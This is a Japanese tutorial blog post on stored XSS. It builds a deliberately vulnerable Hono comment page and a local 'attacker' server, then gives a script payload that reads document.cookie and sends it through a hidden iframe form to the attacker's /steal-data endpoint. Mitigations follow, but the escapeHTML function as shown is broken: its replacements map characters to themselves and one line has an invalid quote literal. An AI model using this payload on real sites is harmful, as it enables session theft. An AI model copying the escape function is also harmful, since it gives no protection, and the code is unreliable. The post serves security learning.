🛡️
セキュリティについて学んでみた【XSS編】
XSSとは
XSS(クロスサイトスクリプティング)攻撃は、ウェブページに悪意のあるスクリプトを埋め込むことで、他のユーザーに被害を与える攻撃手法です。
XSS攻撃の仕組み
- 攻撃者が悪意のあるスクリプトをページに埋め込む
- 他のユーザーがページを開く、もしくは何らかの操作でスクリプトが実行される
- ユーザーのデータを盗んだり、不正操作を行う
XSS攻撃の種類
- 蓄積型XSS攻撃
コメント欄や掲示板などにスクリプトが投稿され、他のユーザーがそのページを見たときに実行される。 - 反射型XSS攻撃
- DOMベースのXSS攻撃
蓄積型XSS攻撃を実際に試してみた
実際にコードを書いて、Honoでlocalhost:3000(被害側)とlocalhost:4000(攻撃側)にアクセスできるようにし、各攻撃をローカル環境で試してみました。
被害側
被害側はコメントの投稿と表示機能を実装します。
また盗まれるcookieをブラウザにセットしておきます。
index.ts
import { Hono } from "hono";
import { setCookie } from "hono/cookie";
const app = new Hono();
let comments = [];
app.get("/", (c) => {
setCookie(c, "session_id", "test");
const commentList = comments.map((comment) => `<li>${comment}</li>`).join("");
const html = `
<html>
<body>
<form action="/comment" method="POST">
<input type="text" name="comment" placeholder="コメントを入力..." required />
<button type="submit">送信</button>
</form>
<ul>${commentList}</ul>
</body>
</html>
`;
return c.html(html);
});
app.post("/comment", async (c) => {
const { comment } = await c.req.parseBody();
comments.push(comment);
return c.redirect("/");
});
export default app;
攻撃側
攻撃側は埋め込んだスクリプトから送信されたデータを受け取って、ログに出力するようにしておきます。
index.ts
import { Hono } from "hono";
const app = new Hono();
app.get("/", (c) => {
return c.text("Hello Hono!");
});
app.post("/steal-data", async (c) => {
const data = await c.req.parseBody();
console.log("Stolen Data:", data);
return c.text("Data received");
});
export default {
port: 4000,
fetch: app.fetch,
};
攻撃開始
被害側で表示されたコメント欄に、次のようなスクリプトを投稿します。
document.cookie
でcookieを取得しています。
次に非表示にしたiframe
要素とその内側にform
要素を作成し、input
要素の値にcookie
を設定しています。
またtarget
属性を非表示のiframe
要素自体に設定することで、フォームの送信処理を非表示のiframe
要素内でとどめています。
<script>
(function() {
const stolenData = document.cookie;
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.name = 'hiddenIframe';
document.body.appendChild(iframe);
const form = document.createElement('form');
form.action = 'http://localhost:4000/steal-data';
form.method = 'POST';
form.target = 'hiddenIframe';
const hiddenField = document.createElement('input');
hiddenField.type = 'hidden';
hiddenField.name = 'cookie';
hiddenField.value = stolenData;
form.appendChild(hiddenField);
document.body.appendChild(form);
form.submit();
})();
</script>
これをコメントに投稿すると、被害側のコメントページにアクセスしたユーザのcookieが攻撃側のログに出力されるようになります。
Stolen Data: {
cookie: "session_id=test",
}
蓄積型XSS攻撃の対策
以下のようなアプローチで対策することができます。
それぞれ設定することで、cookieが攻撃側のログに出力されなくなります。
1. 出力時のエスケープ処理
ユーザーからの入力をHTMLに埋め込む前に、エスケープ処理を行います。これにより、ユーザーが入力したHTMLタグやスクリプトがそのまま解釈されるのを防ぎます。
function escapeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
const commentList = comments.map((comment) => `<li>${escapeHTML(comment)}</li>`).join("");
2. Content Security Policy (CSP) の設定
CSPヘッダーを設定することで、スクリプトの読み込み元を制限し、XSS攻撃の影響を軽減できます。
import { secureHeaders } from "hono/secure-headers";
app.use(
"*",
secureHeaders({
contentSecurityPolicy: {
scriptSrc: ["'self'"],
},
})
);
3. HttpOnly属性を持つCookieの使用
CookieにHttpOnly
属性を設定することで、JavaScriptからのアクセスを防ぎます。
setCookie(c, "session_id", "test", { httpOnly: true });
Discussion